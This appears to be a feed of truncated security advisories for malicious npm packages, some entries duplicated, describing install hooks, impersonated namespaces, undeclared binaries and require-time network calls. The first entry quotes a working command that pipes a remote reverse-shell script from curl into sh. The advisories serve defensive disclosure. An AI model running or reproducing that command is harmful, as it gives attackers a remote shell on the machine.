MAL-2026-16481 Malicious code in internallib_v463 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7 index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from...

MAL-2026-16477 Malicious code in com.apple.unityplugin.storekit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 920277566757bdc38563c7e2150e906790478cbd7a0c48f0bb53004e82eec4ca The package impersonates an Apple/Unity StoreKit internal namespace com.apple.unityplugin.storekit and, on require, index.js performs an HTTPS GET to...

Malicious code in com.apple.unityplugin.storekit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 920277566757bdc38563c7e2150e906790478cbd7a0c48f0bb53004e82eec4ca The package impersonates an Apple/Unity StoreKit internal namespace com.apple.unityplugin.storekit and, on require, index.js performs an HTTPS GET to...

MAL-2026-16473 Malicious code in sea-baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2aaf4b5ddb859270a86aa6d21df680ed66fb0622434317747a6f7275ad9a3d60 sea-baileys is a fork of the Baileys WhatsApp Web library. Its package.json remaps the libsignal import specifier to...

Malicious code in sea-baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2aaf4b5ddb859270a86aa6d21df680ed66fb0622434317747a6f7275ad9a3d60 sea-baileys is a fork of the Baileys WhatsApp Web library. Its package.json remaps the libsignal import specifier to...

MAL-2026-16474 Malicious code in vite-dev-launcher (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ac504b2228b7e2d5aab05aac8cb13072d87bc4f047f390d207c7712c7cdd123 The package presents as a Vite dev-server wrapper but its declared postinstall node./postinstall-run.cjs chains through...

Malicious code in vite-dev-launcher (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ac504b2228b7e2d5aab05aac8cb13072d87bc4f047f390d207c7712c7cdd123 The package presents as a Vite dev-server wrapper but its declared postinstall node./postinstall-run.cjs chains through...

MAL-2026-16467 Malicious code in @test1230504/probe-7f3k2m-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 941e9925e20dd460b4dc52c0981a140d58ed376e41b15457cbd6bcd5028ba0d8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-16468 Malicious code in @test1230504/string-format-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3db7a7676eff4019a9ea78b6c9dd142798bde72fd9ed62fc031b01312c8d3d7e Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @test1230504/string-format-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3db7a7676eff4019a9ea78b6c9dd142798bde72fd9ed62fc031b01312c8d3d7e Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-16469 Malicious code in @test1230504/test-publish-verify (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b7ea9c6779e576936608ba007f9f5f3b00a467f2de06dcaa63306ce2cbc676ad Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @test1230504/test-publish-verify (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b7ea9c6779e576936608ba007f9f5f3b00a467f2de06dcaa63306ce2cbc676ad Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-16472 Malicious code in z-deno-truth-ya1t4m (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f4ca6bf79ee3672fa881c285bd8af8fc4af19fb3be8e90212de7e8a0be70cf30 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16471 Malicious code in z-deno-truth-va499w (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f8814711e10416bfe039fa71469c13072ef8d20a1f6f654130ae96ebb38c443 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in z-deno-truth-va499w (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f8814711e10416bfe039fa71469c13072ef8d20a1f6f654130ae96ebb38c443 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in z-deno-truth-ya1t4m (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f4ca6bf79ee3672fa881c285bd8af8fc4af19fb3be8e90212de7e8a0be70cf30 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in z-deno-truth-bwhlsz (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector db0813755b79e157c644502848b1ff5af003fc82fb842b39676490d00f33e814 The package's exports field maps the ./package.json subpath to setup.js, so any consumer resolving require'z-deno-truth-bwhlsz/package.json' executes...

MAL-2026-16464 Malicious code in hachutis (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 455f1d04545c9ed17722705fe61415d7e536e2800c2a3c588ab69985004c73b9 The tarball ships three undeclared prebuilt executables under bin/ bin/cli, bin/cli-linux-amd64, and an 81 MB Bun-compiled bin/cli-http-linux that ar...

Malicious code in hachutis (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 455f1d04545c9ed17722705fe61415d7e536e2800c2a3c588ab69985004c73b9 The tarball ships three undeclared prebuilt executables under bin/ bin/cli, bin/cli-linux-amd64, and an 81 MB Bun-compiled bin/cli-http-linux that ar...

MAL-2026-16465 Malicious code in helpersutils-dev-tools (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85b7208dea3cf1742ac01332c17db9df968fd4a105fbccaf0b5388162b0f3673 The package presents itself as 'Development utility helpers' but its main module executes an IIFE at require-time that issues an Image request to...